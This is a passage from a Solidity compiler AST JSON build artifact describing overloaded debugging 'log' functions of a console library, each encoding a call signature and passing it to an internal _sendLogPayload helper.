\"log(address,uint256,address,address)\""},"value":"log(address,uint256,address,address)"},{"id":30749,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30736,"src":"60379:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30750,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30738,"src":"60383:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30751,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30740,"src":"60387:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30752,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30742,"src":"60391:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_478d1c625a50f0548fbd6ce5c9463f034dc2ce146c930b3546dac402346457d4","typeString":"literal_string \"log(address,uint256,address,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":30746,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"60315:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30747,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"60319:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"60315:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30753,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"60315:79:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30745,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"60299:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30754,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"60299:96:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30755,"nodeType":"ExpressionStatement","src":"60299:96:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"60223:3:15","parameters":{"id":30743,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30736,"mutability":"mutable","name":"p0","nameLocation":"60235:2:15","nodeType":"VariableDeclaration","scope":30757,"src":"60227:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30735,"name":"address","nodeType":"ElementaryTypeName","src":"60227:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30738,"mutability":"mutable","name":"p1","nameLocation":"60247:2:15","nodeType":"VariableDeclaration","scope":30757,"src":"60239:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30737,"name":"uint256","nodeType":"ElementaryTypeName","src":"60239:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30740,"mutability":"mutable","name":"p2","nameLocation":"60259:2:15","nodeType":"VariableDeclaration","scope":30757,"src":"60251:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30739,"name":"address","nodeType":"ElementaryTypeName","src":"60251:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30742,"mutability":"mutable","name":"p3","nameLocation":"60271:2:15","nodeType":"VariableDeclaration","scope":30757,"src":"60263:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30741,"name":"address","nodeType":"ElementaryTypeName","src":"60263:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"60226:48:15"},"returnParameters":{"id":30744,"nodeType":"ParameterList","parameters":[],"src":"60289:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30780,"nodeType":"FunctionDefinition","src":"60408:193:15","nodes":[],"body":{"id":30779,"nodeType":"Block","src":"60489:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c75696e743235362c75696e7432353629","id":30771,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"60539:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_1dc8e1b86f5e8cc33f88f9c9577316d392566cde443e43069eebe8e56a0a0562","typeString":"literal_string \"log(address,string,uint256,uint256)\""},"value":"log(address,string,uint256,uint256)"},{"id":30772,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30759,"src":"60578:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30773,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30761,"src":"60582:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":30774,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30763,"src":"60586:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30775,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30765,"src":"60590:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1dc8e1b86f5e8cc33f88f9c9577316d392566cde443e43069eebe8e56a0a0562","typeString":"literal_string \"log(address,string,uint256,uint256)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":30769,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"60515:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30770,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"60519:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"60515:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30776,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"60515:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30768,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"60499:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30777,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"60499:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30778,"nodeType":"ExpressionStatement","src":"60499:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"60417:3:15","parameters":{"id":30766,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30759,"mutability":"mutable","name":"p0","nameLocation":"60429:2:15","nodeType":"VariableDeclaration","scope":30780,"src":"60421:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30758,"name":"address","nodeType":"ElementaryTypeName","src":"60421:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30761,"mutability":"mutable","name":"p1","nameLocation":"60447:2:15","nodeType":"VariableDeclaration","scope":30780,"src":"60433:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30760,"name":"string","nodeType":"ElementaryTypeName","src":"60433:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":30763,"mutability":"mutable","name":"p2","nameLocation":"60459:2:15","nodeType":"VariableDeclaration","scope":30780,"src":"60451:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30762,"name":"uint256","nodeType":"ElementaryTypeName","src":"60451:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30765,"mutability":"mutable","name":"p3","nameLocation":"60471:2:15","nodeType":"VariableDeclaration","scope":30780,"src":"60463:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30764,"name":"uint256","nodeType":"ElementaryTypeName","src":"60463:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"60420:54:15"},"returnParameters":{"id":30767,"nodeType":"ParameterList","parameters":[],"src":"60489:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30803,"nodeType":"FunctionDefinition","src":"60607:198:15","nodes":[],"body":{"id":30802,"nodeType":"Block","src":"60694:111:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c75696e743235362c737472696e6729","id":30794,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"60744:36:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_448830a8c1281c2ef562207eb8a81eaf8ce3a05f5db2e480f1a7741f740725d3","typeString":"literal_string \"log(address,string,uint256,string)\""},"value":"log(address,string,uint256,string)"},{"id":30795,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30782,"src":"60782:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30796,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30784,"src":"60786:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":30797,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30786,"src":"60790:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30798,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30788,"src":"60794:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_448830a8c1281c2ef562207eb8a81eaf8ce3a05f5db2e480f1a7741f740725d3","typeString":"literal_string \"log(address,string,uint256,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":30792,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"60720:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30793,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"60724:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"60720:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30799,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"60720:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30791,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"60704:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30800,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"60704:94:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30801,"nodeType":"ExpressionStatement","src":"60704:94:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"60616:3:15","parameters":{"id":30789,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30782,"mutability":"mutable","name":"p0","nameLocation":"60628:2:15","nodeType":"VariableDeclaration","scope":30803,"src":"60620:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30781,"name":"address","nodeType":"ElementaryTypeName","src":"60620:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30784,"mutability":"mutable","name":"p1","nameLocation":"60646:2:15","nodeType":"VariableDeclaration","scope":30803,"src":"60632:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30783,"name":"string","nodeType":"ElementaryTypeName","src":"60632:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":30786,"mutability":"mutable","name":"p2","nameLocation":"60658:2:15","nodeType":"VariableDeclaration","scope":30803,"src":"60650:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30785,"name":"uint256","nodeType":"ElementaryTypeName","src":"60650:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30788,"mutability":"mutable","name":"p3","nameLocation":"60676:2:15","nodeType":"VariableDeclaration","scope":30803,"src":"60662:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30787,"name":"string","nodeType":"ElementaryTypeName","src":"60662:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"60619:60:15"},"returnParameters":{"id":30790,"nodeType":"ParameterList","parameters":[],"src":"60694:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30826,"nodeType":"FunctionDefinition","src":"60811:187:15","nodes":[],"body":{"id":30825,"nodeType":"Block","src":"60889:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c75696e743235362c626f6f6c29","id":30817,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"60939:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_0ef7e050655c297a96024e476b2cd79b6c7fd3efbcd797a5d2723a888114ada4","typeString":"literal_string \"log(address,string,uint256,bool)\""},"value":"log(address,string,uint256,bool)"},{"id":30818,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30805,"src":"60975:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30819,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30807,"src":"60979:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":30820,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30809,"src":"60983:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30821,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30811,"src":"60987:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_0ef7e050655c297a96024e476b2cd79b6c7fd3efbcd797a5d2723a888114ada4","typeString":"literal_string \"log(address,string,uint256,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":30815,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"60915:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30816,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"60919:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"60915:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30822,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"60915:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30814,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"60899:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30823,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"60899:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30824,"nodeType":"ExpressionStatement","src":"60899:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"60820:3:15","parameters":{"id":30812,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30805,"mutability":"mutable","name":"p0","nameLocation":"60832:2:15","nodeType":"VariableDeclaration","scope":30826,"src":"60824:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30804,"name":"address","nodeType":"ElementaryTypeName","src":"60824:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30807,"mutability":"mutable","name":"p1","nameLocation":"60850:2:15","nodeType":"VariableDeclaration","scope":30826,"src":"60836:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30806,"name":"string","nodeType":"ElementaryTypeName","src":"60836:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":30809,"mutability":"mutable","name":"p2","nameLocation":"60862:2:15","nodeType":"VariableDeclaration","scope":30826,"src":"60854:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30808,"name":"uint256","nodeType":"ElementaryTypeName","src":"60854:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30811,"mutability":"mutable","name":"p3","nameLocation":"60871:2:15","nodeType":"VariableDeclaration","scope":30826,"src":"60866:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30810,"name":"bool","nodeType":"ElementaryTypeName","src":"60866:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"60823:51:15"},"returnParameters":{"id":30813,"nodeType":"ParameterList","parameters":[],"src":"60889:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30849,"nodeType":"FunctionDefinition","src":"61004:193:15","nodes":[],"body":{"id":30848,"nodeType":"Block","src":"61085:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c75696e743235362c6164647265737329","id":30840,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"61135:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_631836789e813227d6b1cf492359a1dbdd837663758bd3e55e319e4a730f0a18","typeString":"literal_string \"log(address,string,uint256,address)\""},"value":"log(address,string,uint256,address)"},{"id":30841,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30828,"src":"61174:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30842,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30830,"src":"61178:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":30843,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30832,"src":"61182:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30844,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30834,"src":"61186:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_631836789e813227d6b1cf492359a1dbdd837663758bd3e55e319e4a730f0a18","typeString":"literal_string \"log(address,string,uint256,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":30838,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"61111:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30839,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"61115:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"61111:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30845,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"61111:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30837,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"61095:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30846,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"61095:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30847,"nodeType":"ExpressionStatement","src":"61095:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"61013:3:15","parameters":{"id":30835,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30828,"mutability":"mutable","name":"p0","nameLocation":"61025:2:15","nodeType":"VariableDeclaration","scope":30849,"src":"61017:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30827,"name":"address","nodeType":"ElementaryTypeName","src":"61017:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30830,"mutability":"mutable","name":"p1","nameLocation":"61043:2:15","nodeType":"VariableDeclaration","scope":30849,"src":"61029:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30829,"name":"string","nodeType":"ElementaryTypeName","src":"61029:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":30832,"mutability":"mutable","name":"p2","nameLocation":"61055:2:15","nodeType":"VariableDeclaration","scope":30849,"src":"61047:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30831,"name":"uint256","nodeType":"ElementaryTypeName","src":"61047:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30834,"mutability":"mutable","name":"p3","nameLocation":"61067:2:15","nodeType":"VariableDeclaration","scope":30849,"src":"61059:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30833,"name":"address","nodeType":"ElementaryTypeName","src":"61059:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"61016:54:15"},"returnParameters":{"id":30836,"nodeType":"ParameterList","parameters":[],"src":"61085:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30872,"nodeType":"FunctionDefinition","src":"61203:198:15","nodes":[],"body":{"id":30871,"nodeType":"Block","src":"61290:111:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c737472696e672c75696e7432353629","id":30863,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"61340:36:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_159f89272dbf40436b74fcc844c992c1f5cc6a7cc05a9db80782be1a20a8f265","typeString":"literal_string \"log(address,string,string,uint256)\""},"value":"log(address,string,string,uint256)"},{"id":30864,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30851,"src":"61378:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30865,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30853,"src":"61382:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":30866,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30855,"src":"61386:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":30867,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30857,"src":"61390:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_159f89272dbf40436b74fcc844c992c1f5cc6a7cc05a9db80782be1a20a8f265","typeString":"literal_string \"log(address,string,string,uint256)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":30861,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"61316:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30862,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"61320:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"61316:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30868,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"61316:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30860,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"61300:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) 